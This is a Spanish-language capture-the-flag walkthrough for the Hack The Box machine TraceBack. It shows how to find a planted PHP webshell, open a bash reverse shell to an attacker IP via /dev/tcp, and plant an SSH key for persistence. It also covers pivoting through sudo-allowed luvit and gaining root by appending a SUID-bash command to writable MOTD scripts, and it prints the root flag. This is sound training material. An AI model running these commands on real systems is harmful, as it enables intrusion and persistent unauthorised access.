TraceBack
Plataforma: Hack The Box
Dificultad: Easy
🔗 Link de la máquina: https://app.hackthebox.com/machines/TraceBack

Reconocimiento
En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN traceback.txt 10.129.22.27
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-11 14:19 -0300
Nmap scan report for 10.129.22.27
Host is up (0.30s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.05 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN traceback.txt: Guarda los resultados en el archivo “traceback.txt”.
Puertos descubiertos:
- 22/tcp - SSH (OpenSSH 7.6p1 Ubuntu)
- 80/tcp - HTTP (Apache 2.4.29) → “Help us”
Enumeración Web
Agregamos la IP al /etc/hosts:
echo "10.129.22.27 traceback.htb" >> /etc/hosts
Al acceder a http://traceback.htb encontramos una página con un mensaje bastante peculiar:

Contenido de la página:
This site has been owned
I have left a backdoor for all the net.
- Xh4H -
El sitio ha sido comprometido por alguien llamado Xh4H que ha dejado una backdoor. Revisando el código fuente de la página encontramos una pista importante:
<!--Some of the best web shells that you might need ;)-->
Hay una webshell instalada en el servidor. El atacante original (Xh4H) es conocido en la comunidad de seguridad por su repositorio de webshells.
Búsqueda de la Webshell
El comentario menciona “the best web shells”, lo que nos lleva directamente al repositorio de GitHub de Xh4H: https://github.com/Xh4H/Web-Shells
Clonamos el repositorio y construimos una wordlist con los nombres de los archivos:
git clone https://github.com/Xh4H/Web-Shells.git
ls Web-Shells/*.php | xargs -I{} basename {} > webshells.txt
cat webshells.txt
alfa3.php
alfacgiapi.php
alfav3.0.e2.php
andela.php
ani-shell.php
b374k.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
delta.php
dtool_pro.php
gamma.php
HTC.php
locus7s.php
mysql.php
nbshell.php
pws.php
r57.php
smevk.php
TmpHao.php
webshell.php
whA.php
Usamos esta wordlist con gobuster:
gobuster dir -u http://traceback.htb -w webshells.txt
Resultado:
smevk.php (Status: 200) [Size: 1261]
¡Encontramos la webshell smevk.php!

Acceso a la Webshell SmEvK
La webshell SmEvK_PaThAn Shell tiene credenciales por defecto:
- Usuario:
admin - Contraseña:
admin
Accedemos con estas credenciales y obtenemos una webshell interactiva:

Explotación
Obtención de Reverse Shell
Desde la webshell, ejecutamos un comando para obtener una reverse shell:
Configuramos el listener:
nc -nlvp 4444
Ejecutamos en la webshell:
bash -c 'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'
Reverse shell obtenida:

listening on [any] 4444 ...
connect to [10.10.16.4] from (UNKNOWN) [10.129.22.27] 56358
bash: cannot set terminal process group (671): Inappropriate ioctl for a device
bash: no job control in this shell
webadmin@traceback:/var/www/html$ id
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
Tratamiento de la TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm-256color
export SHELL=/bin/bash
Preparación del Acceso SSH
Antes de escalar, aprovechamos que somos webadmin para inyectar una clave SSH en nuestro propio directorio .ssh — así podremos reconectarnos por SSH más adelante para triggerear el MOTD.
En Kali generamos la clave:
ssh-keygen -t rsa -f traceback_key -N ""
cat traceback_key.pub
Desde la shell de webadmin inyectamos la clave pública:
echo "ssh-rsa AAAA..." > /home/webadmin/.ssh/authorized_keys
chmod 600 /home/webadmin/.ssh/authorized_keys
Enumeración del Home
Revisamos el directorio home de webadmin:
ls -la /home/webadmin/
total 44
drwxr-x--- 5 webadmin sysadmin 4096 Apr 22 2021 .
drwxr-xr-x 4 root root 4096 Aug 25 2019 ..
-rw------- 1 webadmin webadmin 105 Mar 16 2020 .bash_history
-rw-r--r-- 1 webadmin webadmin 220 Aug 23 2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23 2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23 2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Apr 22 2021 .local
-rw-rw-r-- 1 webadmin webadmin 1 Aug 25 2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin 807 Aug 23 2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Feb 27 2020 .ssh
-rw-rw-r-- 1 sysadmin sysadmin 122 Mar 16 2020 note.txt
Encontramos una nota de sysadmin:
cat /home/webadmin/note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
La nota menciona una herramienta Lua. Verificamos los permisos sudo para descubrirla:
User Flag
Verificación de Sudo
sudo -l
Matching Defaults entries for webadmin on traceback:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webadmin may run the following commands on traceback:
(sysadmin) NOPASSWD: /home/sysadmin/luvit
Podemos ejecutar /home/sysadmin/luvit (intérprete Lua) como sysadmin sin contraseña.
Escape a sysadmin con Lua
Luvit es un runtime de Lua similar a Node.js. Podemos usarlo para ejecutar comandos del sistema:
sudo -u sysadmin /home/sysadmin/luvit -e "os.execute('/bin/bash')"
sysadmin@traceback:/var/www/html$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
¡Somos sysadmin! Nos movemos a su home:
sysadmin@traceback:/var/www/html$ cd /home/sysadmin/
sysadmin@traceback:~$ ls -la
total 4336
drwxr-x--- 5 sysadmin sysadmin 4096 Mar 16 2020 .
drwxr-xr-x 4 root root 4096 Aug 25 2019 ..
-rw------- 1 sysadmin sysadmin 1 Aug 25 2019 .bash_history
-rw-r--r-- 1 sysadmin sysadmin 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 sysadmin sysadmin 3771 Apr 4 2018 .bashrc
drwx------ 2 sysadmin sysadmin 4096 Aug 25 2019 .cache
drwxrwxr-x 3 sysadmin sysadmin 4096 Aug 24 2019 .local
-rw-r--r-- 1 sysadmin sysadmin 807 Apr 4 2018 .profile
drwxr-xr-x 2 root root 4096 Apr 20 2021 .ssh
-rwxrwxr-x 1 sysadmin sysadmin 4397566 Aug 24 2019 luvit
-rw------- 1 sysadmin sysadmin 33 Feb 11 07:26 user.txt
sysadmin@traceback:~$ cat user.txt

Escalada de Privilegios
Enumeración como sysadmin
Buscamos archivos que podamos modificar y que sean ejecutados por root:
find / -writable -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | grep -v "/home/sysadmin"
Revisamos en particular el directorio /etc/update-motd.d/:
ls -la /etc/update-motd.d/
total 24
drwxr-xr-x 2 root sysadmin 4096 Aug 27 2019 .
drwxr-xr-x 80 root root 4096 Mar 16 2020 ..
-rwxrwxr-x 1 root sysadmin 981 Aug 25 2019 00-header
-rwxrwxr-x 1 root sysadmin 982 Feb 27 2020 10-help-text
-rwxrwxr-x 1 root sysadmin 604 Aug 25 2019 50-motd-news
-rwxrwxr-x 1 root sysadmin 299 Aug 25 2019 80-esm
-rwxrwxr-x 1 root sysadmin 118 Aug 25 2019 91-release-upgrade
Los scripts en /etc/update-motd.d/ son ejecutados por root cada vez que alguien inicia sesión por SSH para mostrar el “Message Of The Day”. El usuario sysadmin tiene permisos de escritura sobre estos archivos.
Explotación del MOTD
Desde la shell de sysadmin (grupo sysadmin con rwx sobre los scripts), inyectamos el payload en 00-header:
echo 'cp /bin/bash /tmp/rootshell; chmod 4755 /tmp/rootshell' >> /etc/update-motd.d/00-header
Nos conectamos por SSH como webadmin (con la clave que inyectamos antes) para triggerear los scripts MOTD:
ssh -i traceback_key webadmin@10.129.22.27

Al loguearse exitosamente, los scripts de /etc/update-motd.d/ se ejecutan como root (PAM session). Salimos con exit y desde la shell de sysadmin verificamos y ejecutamos el bash copiado:
ls -la /tmp/rootshell
/tmp/rootshell -p
-rwsr-xr-x 1 root root 1113504 Feb 11 11:04 /tmp/rootshell

rootshell-4.4# id
uid=1000(webadmin) gid=1000(webadmin) euid=0(root) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
¡Somos root (euid=0)!
Root Flag
rootshell-4.4# cd /root/
rootshell-4.4# ls -la
total 40
drwx------ 5 root root 4096 Feb 11 07:26 .
drwxr-xr-x 22 root root 4096 Apr 22 2021 ..
-rw------- 1 root root 1518 Apr 22 2021 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Aug 24 2019 .cache
drwxr-xr-x 3 root root 4096 Aug 24 2019 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-r-------- 1 root root 33 Feb 11 07:26 root.txt
-rw-r--r-- 1 root root 66 Aug 25 2019 .selected_editor
drwxr-xr-x 2 root root 4096 Apr 20 2021 .ssh
rootshell-4.4# cat root.txt
710456dddca20eb1f60184c8171f2dfb

Máquina TraceBack de Hack The Box completada exitosamente.